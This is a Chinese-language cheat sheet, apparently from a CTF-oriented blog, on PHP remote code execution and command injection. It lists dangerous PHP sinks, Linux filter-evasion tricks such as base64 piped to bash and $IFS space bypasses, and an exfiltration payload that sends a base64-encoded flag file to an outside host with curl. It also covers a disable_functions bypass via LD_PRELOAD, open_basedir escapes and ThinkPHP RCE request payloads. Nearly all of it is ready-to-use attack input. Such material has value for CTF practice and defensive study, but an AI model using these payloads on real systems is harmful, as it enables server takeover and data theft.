RCE攻击
代码执行
代码执行原理
代码执行是指应用程序在调用⼀些能够将字符串转换为代码的函数时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞,使得用户能利用任意脚本代码(PHP)。
代码执行函数
eval()
eval是一个语言结构,eval()函数把字符串按照PHP代码来执行,该字符串必须是合法的PHP代码,且必须以分号结尾。
1 | eval($_POST['test']); |
assert()
php4、php5、php7.0中assert()是一个函数,php7.1中为语法结构,assert()函数把字符串按照PHP代码来执行。
1 | assert($_POST['test']); |
preg_replace
PHP版本小于5.5.0时,使用/e修饰符,preg_replace将$replacement当成php代码执行。
1 | preg_replace("/test/e",$_POST["test"],"This is a text") |
include和require
条件:需要在allow_url_include
设置为On
时,才会生效。利用data://
,php://input
伪协议getshell。
1 | include $_GET['test']; |
使用php://input协议
1 | GET /index.php?test=php://input |
使用data://协议
1 | GET /index.php?test=data://text/plain,%3C?php%20phpinfo();%20?%3E |
create_function()
1 | $b = create_function('', $_GET['para']); |
1 | GET /index.php?para=phpinfo(); |
call_user_func()
1 | call_user_func($_GET["fun"], $_GET["para"]); |
1 | GET /index.php?fun=printf¶=Hello%20World |
可变函数
1 | $a = "phpinfo"; |
- 可变函数作用范围‘
可变函数不能用于例如echo,print,unset(),isset(),empty(),include,require以及类似的语言结构。
1 | $_POST['fun']($_POST['para']); |
1 | POST /index.php |
1 | $a="assert"; |
命令执行
命令执行原理
靠执行脚本代码调用操作系统命令。
命令执行函数
system
1
system('dir');
exec
1
printf(exec("dir"));
``
1
printf(`dir`);
shell_exec
1
printf(shell_exec("dir"));
passthru
1
passthru("dir");
Linux命令绕过
关键字绕过
空字符、空变量、转义符
1
2
3l''s
bin dev home lib lost+found mnt proc run snap sys usr
boot etc init lib64 media opt root sbin srv tmp var1
2
3l\s
bin dev home lib lost+found mnt proc run snap sys usr
boot etc init lib64 media opt root sbin srv tmp var1
2
3l$@s
bin dev home lib lost+found mnt proc run snap sys usr
boot etc init lib64 media opt root sbin srv tmp var1
2
3l$1\s
bin dev home lib lost+found mnt proc run snap sys usr
boot etc init lib64 media opt root sbin srv tmp var字符串拼接
1
2
3a=l;b=s;c=/;$a$b $c
bin dev home lib lost+found mnt proc run snap sys usr
boot etc init lib64 media opt root sbin srv tmp var花括号
1
2
3
4ls r{oo,o}t #花括号通过逗号分割构建序列并展开
ls: cannot access 'rot': No such file or directory
root:
download1
2
3
4
5
6
7{l,s}{s,l} r{oo,o}t; #两个花括号可以表示两个序列的笛卡尔积
ls: cannot access 'll': No such file or directory
ls: cannot access 'ss': No such file or directory
ls: cannot access 'sl': No such file or directory
ls: cannot access 'rot': No such file or directory
root:
download通配符
1
2
3
4
5
6
7
8ls /ro*
download
ls /ro?t
download
ls /ro[a-z]t
download
ls /r[^a,b,c,o,2,3,4]ot
download编码
1
2echo bHMgL3Jvb3QK|base64 -d|bash
download1
2echo 6C73202F726F6F740A|xxd -r -ps|bash
download
cat命令绕过
1 | cat /flag |
空格绕过
利用重定向
1
2
3
4cat</flag
flag{this_is_the_flag}
cat<>/flag
flag{this_is_the_flag}利用分隔符
1
2
3
4
5
6cat$IFS/flag
flag{this_is_the_flag}
cat$IFS$9/flag
flag{this_is_the_flag}
cat${IFS}/flag
flag{this_is_the_flag}利用花括号
1
2{cat,flag}
flag{this_is_the_flag}
无回显
数据外带
1
2
3POST http://fb521f66-2b7a-4760-a769-a90d53c26e47.node4.buuoj.cn:81/
target=127.0.0.1;curl www.diaoan.xyz/`cat /flag|base64`
绕过disable_function
利用条件
- 能上传
.so
文件 - 能够控制
LD_PRELOAD
的值,比如putenv()
函数 - 因为新进程启动将加载
LD_PRELOAD
中的.so
文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()
、imap_mail()
、mb_send_mail()
和error_log()
函数等
- 能上传
利用方式
- 编写
.so
,并上传到服务器上 putenv("LD_PRELOAD=./hack.so")
- 运行php的
mail()
函数
- 编写
绕过open_basedir
回溯绕过
1
mkdir('cl4y');chdir('cl4y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/’));
利用
DirectoryIterator
+glob://
1
2
3
4
5
6
7
$c = $_GET['c’];
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>’);
}利用symlink绕过
利用bindtextdomain和SplFileInfo方法
利用SplFileInfo::getRealPath()方法
利用realpath列目录
CVE复现
-
1
GET ?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
-
1
GET /index.php?s=/index/index/xxx/${${@eval($_POST[cl4y])}}
-
1
2
3POST ?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami